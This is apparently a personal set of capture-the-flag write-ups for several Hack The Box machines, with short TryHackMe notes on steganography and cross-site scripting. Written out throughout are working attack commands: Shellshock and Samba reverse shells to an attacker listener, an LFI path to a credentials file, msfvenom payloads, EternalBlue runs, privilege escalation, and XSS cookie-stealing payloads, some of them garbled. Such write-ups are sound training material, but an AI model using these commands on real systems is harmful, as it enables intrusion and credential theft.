# Writeups
Pyrus / Aditya Dindi
Writeups for TryHackMe / HackThebox and any other challenges I do
# Easy Machines
Easy Hack The Box Machines rooted without Metasploit
# Beep Writeup
Without Metasploit
## Reconnaissance
Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)**
```
nmap -Pn 10.10.10.7
```
Detailed Nmap Scan :
Command Breakdown:
* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,25,80,110,111,143,443,993,995,3306,4445,10000
* (**-oN nmap**): Saving it into a files called nmap
```
nmap -sV -sC -p 22,25,80,110,111,143,443,993,995,3306,4445,10000 -oN nmap 10.10.10.7
```
Just to make sure we are getting all the ports, lets run a nmap scan that covers all ports
```
nmap -sC -sV -p- -oN nmap_AllPorts 10.10.10.7
```
### Ports
* Port 22: OpenSSH 4.3 (protocol 2.0)
* Port 25: Smtp (Postfix smtpd)
* Port 80: http (Apache httpd 2.2.3)
* Port 110: pop3 (Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5\_6.4)
* Port 111: rpcbind
* Port 143: imap (Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5\_6.4)
* Port 443: ssl / https
* Port 878: status
* Port 993: ssl / imap (Cyrus imapd)
* Port 995: pop3 (Cyrus pop3d)
* Port 3306: MySQL
* Port 4190: Sieve (Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5\_6.4 (included w/cyrus imap))
* Port 4445: Upnotifyp
* Port 4559: hylafax (HylaFAX 4.3.10)
* Port 5038: asterisk (Asterisk Call Manager 1.1)
* Port 10000: http Miniserv 1.570 (Webmin httpd)
### Notes
* Port 22 is running a OpenSSH service that is old and exploitable.
* Ports 25, 110, 143 and 995 are running mail servers.
* Port 111 is running Rpcbind which is a service used to map other RPC services such as nfs, Mountd, etc.
* Ports 80, 443 and 10000 are running Web Servers
* Port 3306 is running a MySQL database
* Port 4445 is running Upnotifyp which is an online TCP UDP port finder
* Port 4559 is running HylaFAX 4.3.10. HylaFAX is running an open source fax server which allows sharing of fax equipment among computers.
* Port 5038 is running Asterisk Call Manager 1.1.
## Enumeration
### Port 443
Lets visit the application
Its running a software called Elastix, a unified communications server software that brings together IP PBX, email and other functionalities. We do not get any other information so lets run gobuster to find hidden directories. And we have to skip SSL certification with the flag (-k) as its running on https.
```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.7 -k
```
Looking through directory , we find the version of FreePBX which is 2.8.1.4 but nothing on Elastix, so lets try searching for exploits on searchsploit
```
searchsploit elastix
```
We found few exploits, Cross-site scripting vulnerabilities won't work here as it is a client-side attack and needs user interaction for it to work. We can use exploits such as LFI and Remote Code Execution.
### Port 10000
Lets visit the application
It looks like a login page, and also it gives us what it is running on which is "Webmin", lets go to searchsploit and find vulnerabilities on this.
```
searchsploit webmin
```
There are so many exploits, looking at all of them , we see something in common which is CGI, something that we exploited in the Shocker box on [HackTheBox](https://www.hackthebox.eu/). And the exploit that we used is called Shellshock, so lets try using that exploit.
## Exploitation
### Port 443
We are going to exploit the LFI vulnerability to get root privileges on this system. So lets copy the exploit to our directory.
```
searchsploit -m php/webapps/37637.pl
```
Reading through the exploit, we can see that we are going to exploit the LFI vulnerability which is in the **current\_language** parameter.
So lets try using this exploit
```
https://10.10.10.7//vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
```
And we get a lot of information, lets try looking at the source code. Looking at it we find something interesting.
Lets try to ssh into the machine using these credentials.
```
ssh admin@10.10.10.7
```
I got this error, which is something that I did see before, and I think that it is something that is not related to false information so I went to google and searched up this error and found an [article ](https://forum.hackthebox.eu/discussion/3232/beep-box)telling us how to solve this issue. After using it I tried logging in but it said it was the wrong password, so I tried a different username (root) and it worked.
### Port 10000
Lets use the [Shellshock ](https://ethicalhackingguru.com/how-to-exploit-the-shellshock-vulnerability/)vulnerability, first we have to capture the request to the web application using Burp Suite and change the User Agent field to the following:
```
() { :;}; bash -i >& /dev/tcp/10.10.14.19/1234 0>&1
```
And this will give us a reverse shell, so lets start a listener
```
nc -lvnp 1234
```
And now lets run the exploit on Burp Suite, if you want the steps, go to my Shocker writeup, I did not use Burp there but you will be guided till this step and then you can change the User-Agent parameter and send the request.
After clicking send, you should a reverse shell.
# Shocker Writeup
Without Metasploit
## Reconnaissance
Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)**
```bash
nmap -Pn 10.10.10.56
```
Detailed Nmap Scan :
Command Breakdown:
* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 80, 2222
* (**-oN nmap**): Saving it into a files called nmap
```
nmap -sC -sV -p 80,2222 -oN nmap 10.10.10.56
```
## Enumeration
Lets visit the website
It is just few words and an image and there is nothing of interest in the source code, so lets use Gobuster to find hidden directories on the webserver.
```
goubster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.56
```
We only got one directory and we did not have access to it. Well now after thinking for a while, I thought about why the name of the machine is "Shocker", and there was only port for us to enumerate and that is port 80 , a webserver, so I went to google and searched something along of the lines of "Shocker website vulnerabilities" and then I found that there is a vulnerability that "Shellshock" can exploit. Further research told me that this vulnerability affect web servers that used CGI (Command Gateway Interface), a system utilized for generating dynamic web content. When thinking of CGI, we usually see directories like /cgi-bin and /cgi-sys, so I searched up different directories like that.
And it was a not found error, then I was looking at the next tab and thought why don't I add a backslash at the end of the URL and see what it does. To my surprise, it gave me 403 Forbidden Error, which means that the directory is present but we are not allowed to access it. Now I was curios as to if I could add / to every directory I was searching for with Gobuster and would that give me different results like this experiment did. (**-f**) for adding "/" at the end of every directory search.
We were not allowed to access "icons" , so lets try searching for directories or files in /cgi-bin/ with some common extensions. (**-x**) for specifying extensions
```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.56/cgi-bin/ -f -x php,html,txt,sh
```
Looks like we found a file, lets go check what it contains.
When visiting the page, we are given the option of downloading the file.
## Exploitation
Now we do not have any other information except this bash script and it also has "Content-Type: text/plain" which is interesting , and what is the number one tool for Web exploitation? Burp Suite, so lets try checking it out on Burp Suite, I capturing the request to the script and sent it Repeater.
Now we know from our Enumeration that this is vulnerable to Shellshock so I went to google and searched it up when I found an [article ](https://ethicalhackingguru.com/how-to-exploit-the-shellshock-vulnerability/)showing us how we could send a reverse shell to the webserver and get a shell on our machine, so I tried that.
We have to use a tool called "curl" , a tool that is used to send web requests to a webserver using our terminal.
```
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.19/1234 0>&1' http://10.10.10.56/cgi-bin/user.sh
```
And also start a Netcat listener
```
nc -lvnp 1234
```
And when you hit enter on the command, you get a reverse shell, but as a low privilege user
## Privilege Escalation
Lets run "sudo -l" to see what we can run as root.
Looks like we can run /usr/bin/perl as root without a password, so now lets go to [GTFOBins ](https://gtfobins.github.io/gtfobins/perl/#sudo)and find the command to let us privilege escalate to root. And the command is
```
sudo perl -e 'exec "/bin/sh";'
```
And we are root!
# Lame Writeup
Without Metasploit
## Reconnaissance
Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)**
```bash
nmap -Pn 10.10.10.3
```
Nmap Scan on all ports (including UDP) so that we do not miss any ports that did not show up in the initial scan
Nmap Scan for service version (**-sV)** running default nmap scripts (**-sC**) enumerating ports 21, 22, 139, 445 (**-p)** and saving it into a file called nmap (**-oN)**.
```bash
nmap -sC -sV -p 21,22,139,445 -oN nmap 10.10.10.3
```
## Enumeration
#### Port 21: FTP; vsftpd 2.3.4
First thing to do is to search this version on google and look for knows exploits
The first link is a Metasploit tutorial on how to exploit it, but we are doing it without Metasploit so lets click the second link.
Now, we can copy this exploit or we can search it up on searchsploit and copy it to our directory there.
```bash
searchsploit vsftpd 2.3.4
```
Now lets copy the exploit to our directory
```bash
searchsploit -m unix/remote/49757.py
```
I tried exploiting this using the python exploit we found, but it constantly showed a time out error, which means that the exploit is probably is outdated and does not work anymore.
Next thing to do is to enumerate the Anonymous FTP login allowed we found on our nmap scan
Let us login
Username: anonymous
Password: anonymous
Lets list what the ftp server contains
and ….. nothing , well, at least we tried. 😉
#### Port 22 OpenSSH 4.7p1
Searching on google does not give us something interesting. And usually we cannot exploit port 22, we only use it to ssh into the machine after we find the username or password from other ports or if we find a id\_rsa file.
#### Port 139 and 445 Samba
Usually we find exploits on ports 139 and 445 which are Samba ports, so let us enumerate these ports
**smbclient** is a very common tool used to enumerate Samba ports, so let us use smbclient to access the SMB server.
```bash
smbclient -L 10.10.10.3 # "-L" lists what services are available
```
Now let us look at the permission on the share drives (this can be done with the **-H** flag)
```bash
smbmap -H 10.10.10.3
```
Looking at this , we can see that we have Read and Write permissions for the tmp Disk on the Smb server. Lets go look for vulnerabilities on this version, and code execution ones as we have write permissions on a share.
After searching for a while I found a exploit that looks like the one we want. [CVE-2007-2447](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2447)
Reading through the exploit, we can understand that we are able to execute arbitrary commands via shell metacharacters. Lets search this on [exploit-db ](https://www.exploit-db.com/exploits/16320)and look at the code.
```ruby
username = "/=`nohup " + payload.encoded + "`"
```
This line tells us that we can add our payload in the "payload.encoded" space and it will work, we can try adding a simple Netcat reverse shell and get a reverse shell.
#### Port 3632 distcc v1
Let us go to google.com and try finding some information on this
Google says that this service is vulnerable to a [remote code execution vulnerability](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855) and we can use a nmap script that will give us more information.
## Exploitation
### Samba
Lets start a Netcat listener on our machine
```bash
nc -nvlp 1234
```
Now let us login into the smb client that we found while enumerating
```bash
smbclient //10.10.10.3
```
Now we have to send the shell metacharacters as input into the username parameter with a reverse shell payload to get a reverse shell on our machine.
We can find a good reverse shell on [pentestmonkey's reverse shell cheat sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). Replace the ip with yours, you can find your ip with this command.
```bash
ifconfig
```
It is the number next to inet under tun0 (make sure you are connected to the OpenVPN).
Now let us add our payload in the username parameter
```bash
logon "/=`nohup rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f -e /bin/sh`"
```
"logon" is the command used for logging into a user within smbclient
After clicking enter, you should get a reverse shell on your reverse shell listener
And we are root :), Go get both those flags.
### Distcc
In the enumeration part we found out that the service is vulnerable to [CVE-2004-2687](https://www.exploit-db.com/exploits/9915) and we found a [nmap script](https://nmap.org/nsedoc/scripts/distcc-cve2004-2687.html) that can be used to exploit this vulnerability.
```bash
nmap -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='id'"
```
This is the nmap command, we can see that we try running a reverse shell instead of 'id' and try getting a reverse shell.
```bash
nmap -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f -e /bin/sh'"
```
Lets start a Netcat reverse shell listener and wait for a connection after entering this command
And we get a reverse shell, but as a user :/, time to privilege escalate and get root
Lets look at the OS version and look for exploits
```bash
uname -a
```
After a lot of searching I found an [exploit ](https://www.exploit-db.com/exploits/8572)that might work, lets copy it form searchsploit
Now we have to transfer it to the victim machine, we can do this by starting a python http server and using "wget" on the victim machine to get the file.
We can see that it transferred successfully, now we have to compile the .c file using gcc and change the name to exploit
```bash
gcc 8572.c -o exploit
```
Now we have to run this, to do this we have to look at the instruction they gave us when we found this exploit.
Now first we have to find the PID of the udevd netlink socket, to do this we can use this command
```bash
ps -aux | grep devd
```
And now we have to subtract one from the PID which will 2740
Now we have to create a file called run in the /tmp folder and add a payload in it, which will be our reverse shell.
First we need to add
```bash
#!/bin/bash
```
to the file as then it can recognize that it is a bash script
```bash
echo '#!/bin/bash' > run
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f' >> run
```
After this , start a listener on your machine and run the exploit with the PID - 1
```bash
./exploit 2740
```
After this you should have root :)
# Jerry Writeup
Without Metasploit
## Reconnaissance
Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)**
```
nmap -Pn 10.10.10.95
```
Detailed Nmap Scan :
Command Breakdown:
* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 8080
* (**-oN nmap**): Saving it into a files called nmap
```
nmap -sC -sV -p 8080 -oN nmap 10.10.10.95
```
Lets go visit the web server this machine is hosting on port 8080.
Looking at the site and testing around tells us that Apache Tomcat/7.0.88 is running on it and we need a set of credentials to login as manger to perform other actions.
What we can do now is to go to google and search for default credentials that might work and let us login into the server. Also we can see a username and a password on the error page we get when we try to access the manager app with wrong credentials
Lets try logging in with these credentials
And we are logged in! Now looking at the application we can see that we have an option to upload and execute WAR files, this is something that we can generate using msfvenom and try getting a reverse shell on the server.
### Exploitation
First we have to generate the msfvenom war file calling it reverse.war. I'm using my machines IP for LHOST (Listening Host), make sure to add your IP to the command.
```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.19 LPORT=1234 -f war > reverse.war
```
Now lets upload the file
After clicking deploy we can see that it has been added as a path under the Applications tab
After clicking the link (*/reverse*) we will get a reverse shell, so we first have to start a Netcat listener on our machine.
```
nc -lvnp 1234
```
Once we click the link, we get the reverse shell and as nt authority\system
# Legacy Writeup
Without Metasploit
## Reconnaissance
Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)**
```
nmap -Pn 10.10.10.4
```
Detailed Nmap Scan :
Command Breakdown:
* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 139,445,3389
* (**-oN nmap**): Saving it into a files called nmap
```
nmap -sC -sV -p 139,445,3389 -oN nmap 10.10.10.4
```
## Enumeration
SMB is a command service with vulnerabilities, lets use a nmap script specific to smb to find vulnerabilities.
```
nmap --script smb-vuln* -p 139,445 10.10.10.4
```
We can see that it is vulnerable to [CVE-2008-4250 ](https://www.exploit-db.com/exploits/7104)(MS08-067) and [CVE-2017-0143](https://www.exploit-db.com/exploits/41891) (ms17-010) , two commonly known vulnerabilities
## Exploitation
The vulnerability that we will be exploiting is called Eternal Blue, a vulnerability that exploits Microsoft's implementation of Server Message Block (SMB) protocol. If an attacker sends a payload, the attacker would be allowed to execute arbitrary code on the target machine.
There is a great [article ](https://ethicalhackingguru.com/how-to-exploit-ms17-010-eternal-blue-without-metasploit/)explaining this vulnerability and how to exploit it.
First let us download the exploit from GitHub
```
git clone https://github.com/helviojunior/MS17-010.git
```
Now we have to use MSF Venom to create a reverse shell payload
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=1234 -f exe > exploit.exe
```
Now lets start a listener on our machine
```
nc -lvnp 1234
```
Lets run the exploit
```
python send_and_execute.py 10.10.10.4 exploit.exe
```
And we have a reverse shell
Now if we try using the whoami command to find what privileges we have on the system, it does not work, so I just went looking for both the flags, and found out that I can read both of them which means we are NT AUTHORITY\SYSTEM.
# Blue Writeup
Without Metasploit
## Reconnaissance
Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)**
```
nmap -Pn 10.10.10.40
```
Detailed Nmap Scan :
Command Breakdown:
* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 135,139,445
* (**-oN nmap**): Saving it into a files called nmap
```
nmap -sC -sV -p 135,139,445 -oN nmap 10.10.10.40
```
## Enumeration
Lets run a nmap vulnerability script to find vulnerabilities.
```
nmap --script vuln 10.10.10.40
```
We can see that it is vulnerable to ms17-010 , also known as Eternal Blue.
## Exploitation
Let us go to searchsploit and search for this vulnerabilities exploit.
```
searchsploit ms17-010
```
We see from the nmap scan that it is Windows 7 machine and there are multiple versions on the exploit we chose, so lets exploit the machine using that. Now we have to copy it to our directory
```
searchsploit -m windows/remote/42315.py
```
Lets read the documentation in the script and look at the steps to use this exploit
After reading the exploit, we have 3 steps to do:
* Download a script called mysmb.py from the location they provided in the script
* Create a reverse shell using MSF Venom.
* Add credentials and the reverse shell payload to the exploit
First let us download the script called mysmb.py and rename it to mysmb.py
```
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py
mv 42315.py.1 mysmb.py
```
Next we have to use MSF Venom to create a executable with a reverse shell payload
```
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.19 LPORT=1234 > exploit.exe
```
Now we have to change the exploit by adding credententials. At this moment, we don't know have or know valid credentials, so we can check what login is allowed, we can first test guest or user. We can do this using enum4linux. (**-a**) for simple enumeration.
```
enum4linux -a 10.10.10.40
```
We can see that guest is a know username, so lets use that, we have to add that to the USERNAME field in the script.
Now we have to add the reverse shell location and execute the script (\*also remove the copy from r'cmd /c , I forgot to take it out while taking this screenshot")
Now, start the listener on your machine
```
nc -lvnp 1234
```
Now run the exploit
```
python 45315.py 10.10.10.40
```
And you should get a reverse shell, and as nt authority/system
# Walkthroughs: Easy
# CC: Steganography
## Intro
## Steghide
Lets use steghide on jpeg1.jpg (password: password123)
## Zsteg
Lets get the answers for the last two questions using zsteg
## Exiftool
Lets solve the challenge
## Stegoveritas
Lets solve the challenge
## Spectrograms
Lets solve the challenge, first lets open sonic visualizer with the file and add the Spectrogram.
# Cryptography for Dummies
## Intro
## Types of Cryptography
## What is a hash?
## Decoding/Encoding
# Cross-site Scripting
## Introduction
## Stored XSS
Lets go to the Stored XSS Webpage
Lets try to add a comment on the page, first we have to create a user and login.
Lets now try to add a comment.
Now lets create an alert popup box appear on the web page with the document cookie.
Lets click ok
Now lets change the XSS Playground heading to I am a hacker.
Lets now try to take over the user Jack's account by stealing his cookie.
Now lets go to the log page
We have the cookie
Lets change users to Jack and post a comment
First lets go to the developer tools and change the cookie to Jacks.
Now lets reload the page
We are now the user Jack, lets post a comment
## Reflected XSS
Lets craft a reflected XSS payload that will cause a popup saying "hello"
```
```
For getting the IP address of the machine we can use this payload
```
```
## DOM-Based XSS
Lets go to the DOM-Based XSS page and look at the source code
This is interesting, looks like there are no checks on the input we give
Now lets exploit it and get the cookie.
```
test" onmouseover="aletest" onmouseover="alert('document.cookies')"rt(document.cookie)"
```
Now hover over the Image not found text
Next lets create an `onhover` event on an image tag, that change the background color of the website to red.
```
test" onmouseover="document.body.style.backgroundColor='red'"
```
Make sure to hover over the Image not found text
## Using XSS for IP and Port Scanning
## XSS Keylogger
## Filter Evasion
Lets do the first challenge
Lets do challenge 2
```
0\"autofocus/onfocus=alert(1)-->